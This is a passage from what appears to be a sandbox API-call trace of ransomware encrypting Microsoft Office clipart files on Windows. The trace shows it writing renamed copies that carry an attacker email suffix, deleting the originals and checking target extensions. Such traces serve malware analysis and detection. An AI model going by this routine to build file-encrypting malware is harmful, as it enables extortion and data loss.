returned 1 [0306.942] CloseHandle (hObject=0x338) returned 1 [0306.943] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.943] SetEndOfFile (hFile=0x340) returned 1 [0306.944] CloseHandle (hObject=0x340) returned 1 [0306.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.944] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 1 [0306.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0306.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0306.947] lstrlenW (lpString=".doc") returned 4 [0306.947] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.947] lstrlenW (lpString=".docx") returned 5 [0306.947] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0306.947] lstrlenW (lpString=".pdf") returned 4 [0306.947] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.947] lstrlenW (lpString=".xls") returned 4 [0306.947] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.947] lstrlenW (lpString=".xlsx") returned 5 [0306.947] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0306.947] lstrlenW (lpString=".ppt") returned 4 [0306.947] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0306.947] lstrlenW (lpString=".zip") returned 4 [0306.947] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.947] lstrlenW (lpString=".rar") returned 4 [0306.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.948] lstrlenW (lpString=".bz2") returned 4 [0306.948] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.948] lstrlenW (lpString=".7z") returned 3 [0306.948] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0306.948] lstrlenW (lpString=".dbf") returned 4 [0306.948] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0306.948] lstrlenW (lpString=".1cd") returned 4 [0306.948] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0306.948] lstrlenW (lpString=".jpg") returned 4 [0306.948] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.954] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.954] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0306.973] GetLastError () returned 0x0 [0306.973] ReadFile (in: hFile=0x348, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x1210, lpOverlapped=0x0) returned 1 [0306.980] WriteFile (in: hFile=0x340, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x1220, lpOverlapped=0x0) returned 1 [0306.981] ReadFile (in: hFile=0x348, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0306.981] WriteFile (in: hFile=0x340, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0306.981] SetEndOfFile (hFile=0x340) returned 1 [0306.981] CloseHandle (hObject=0x340) returned 1 [0306.982] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.982] SetEndOfFile (hFile=0x348) returned 1 [0306.983] CloseHandle (hObject=0x348) returned 1 [0306.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 1 [0306.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0306.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0306.984] lstrlenW (lpString=".doc") returned 4 [0306.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.984] lstrlenW (lpString=".docx") returned 5 [0306.984] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0306.984] lstrlenW (lpString=".pdf") returned 4 [0306.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.984] lstrlenW (lpString=".xls") returned 4 [0306.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.984] lstrlenW (lpString=".xlsx") returned 5 [0306.984] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0306.984] lstrlenW (lpString=".ppt") returned 4 [0306.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0306.984] lstrlenW (lpString=".zip") returned 4 [0306.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.984] lstrlenW (lpString=".rar") returned 4 [0306.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.984] lstrlenW (lpString=".bz2") returned 4 [0306.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.984] lstrlenW (lpString=".7z") returned 3 [0306.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0306.985] lstrlenW (lpString=".dbf") returned 4 [0306.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0306.985] lstrlenW (lpString=".1cd") returned 4 [0306.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0306.985] lstrlenW (lpString=".jpg") returned 4 [0306.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.985] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.985] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0306.986] GetLastError () returned 0x0 [0306.986] ReadFile (in: hFile=0x348, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x2b04, lpOverlapped=0x0) returned 1 [0307.010] WriteFile (in: hFile=0x340, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x2b10, lpOverlapped=0x0) returned 1 [0307.011] ReadFile (in: hFile=0x348, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0307.011] WriteFile (in: hFile=0x340, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0307.011] SetEndOfFile (hFile=0x340) returned 1 [0307.012] CloseHandle (hObject=0x340) returned 1 [0307.012] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.012] SetEndOfFile (hFile=0x348) returned 1 [0307.013] CloseHandle (hObject=0x348) returned 1 [0307.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 1 [0307.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0307.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0307.014] lstrlenW (lpString=".doc") returned 4 [0307.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.014] lstrlenW (lpString=".docx") returned 5 [0307.014] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0307.014] lstrlenW (lpString=".pdf") returned 4 [0307.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.014] lstrlenW (lpString=".xls") returned 4 [0307.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.014] lstrlenW (lpString=".xlsx") returned 5 [0307.014] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0307.014] lstrlenW (lpString=".ppt") returned 4 [0307.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0307.014] lstrlenW (lpString=".zip") returned 4 [0307.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.014] lstrlenW (lpString=".rar") returned 4 [0307.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.015] lstrlenW (lpString=".bz2") returned 4 [0307.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.015] lstrlenW (lpString=".7z") returned 3 [0307.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0307.015] lstrlenW (lpString=".dbf") returned 4 [0307.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0307.015] lstrlenW (lpString=".1cd") returned 4 [0307.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0307.015] lstrlenW (lpString=".jpg") returned 4 [0307.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.058] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.059] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0307.060] GetLastError () returned 0x0 [0307.060] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x24b8, lpOverlapped=0x0) returned 1 [0307.089] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x24c0, lpOverlapped=0x0) returned 1 [0307.091] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0307.091] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0307.091] SetEndOfFile (hFile=0x348) returned 1 [0307.091] CloseHandle (hObject=0x348) returned 1 [0307.091] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.091] SetEndOfFile (hFile=0x324) returned 1 [0307.092] CloseHandle (hObject=0x324) returned 1 [0307.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 1 [0307.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0307.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0307.093] lstrlenW (lpString=".doc") returned 4 [0307.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.093] lstrlenW (lpString=".docx") returned 5 [0307.094] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0307.094] lstrlenW (lpString=".pdf") returned 4 [0307.094] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.094] lstrlenW (lpString=".xls") returned 4 [0307.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.094] lstrlenW (lpString=".xlsx") returned 5 [0307.094] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0307.094] lstrlenW (lpString=".ppt") returned 4 [0307.094] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0307.094] lstrlenW (lpString=".zip") returned 4 [0307.094] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.094] lstrlenW (lpString=".rar") returned 4 [0307.094] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.094] lstrlenW (lpString=".bz2") returned 4 [0307.094] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.094] lstrlenW (lpString=".7z") returned 3 [0307.094] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0307.094] lstrlenW (lpString=".dbf") returned 4 [0307.094] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0307.094] lstrlenW (lpString=".1cd") returned 4 [0307.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0307.094] lstrlenW (lpString=".jpg") returned 4 [0307.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.095] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.095] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0307.096] GetLastError () returned 0x0 [0307.096] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x1034, lpOverlapped=0x0) returned 1 [0307.136] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x1040, lpOverlapped=0x0) returned 1 [0307.137] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0307.137] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0307.137] SetEndOfFile (hFile=0x348) returned 1 [0307.137] CloseHandle (hObject=0x348) returned 1 [0307.137] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.137] SetEndOfFile (hFile=0x324) returned 1 [0307.138] CloseHandle (hObject=0x324) returned 1 [0307.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 1 [0307.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0307.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0307.140] lstrlenW (lpString=".doc") returned 4 [0307.140] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.140] lstrlenW (lpString=".docx") returned 5 [0307.140] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0307.140] lstrlenW (lpString=".pdf") returned 4 [0307.140] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.140] lstrlenW (lpString=".xls") returned 4 [0307.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.140] lstrlenW (lpString=".xlsx") returned 5 [0307.140] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0307.140] lstrlenW (lpString=".ppt") returned 4 [0307.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0307.140] lstrlenW (lpString=".zip") returned 4 [0307.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.140] lstrlenW (lpString=".rar") returned 4 [0307.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.140] lstrlenW (lpString=".bz2") returned 4 [0307.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.140] lstrlenW (lpString=".7z") returned 3 [0307.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0307.140] lstrlenW (lpString=".dbf") returned 4 [0307.140] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0307.140] lstrlenW (lpString=".1cd") returned 4 [0307.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0307.141] lstrlenW (lpString=".jpg") returned 4 [0307.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.142] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.142] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0307.143] GetLastError () returned 0x0 [0307.143] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x542c, lpOverlapped=0x0) returned 1 [0307.176] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x5430, lpOverlapped=0x0) returned 1 [0307.177] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0307.177] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0307.178] SetEndOfFile (hFile=0x348) returned 1 [0307.178] CloseHandle (hObject=0x348) returned 1 [0307.178] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.178] SetEndOfFile (hFile=0x324) returned 1 [0307.179] CloseHandle (hObject=0x324) returned 1 [0307.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 1 [0307.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0307.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0307.180] lstrlenW (lpString=".doc") returned 4 [0307.180] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.180] lstrlenW (lpString=".docx") returned 5 [0307.180] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0307.180] lstrlenW (lpString=".pdf") returned 4 [0307.180] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.180] lstrlenW (lpString=".xls") returned 4 [0307.180] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.180] lstrlenW (lpString=".xlsx") returned 5 [0307.180] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0307.180] lstrlenW (lpString=".ppt") returned 4 [0307.180] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0307.180] lstrlenW (lpString=".zip") returned 4 [0307.180] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.180] lstrlenW (lpString=".rar") returned 4 [0307.180] lstrcmpiW (lpString1=".rar", 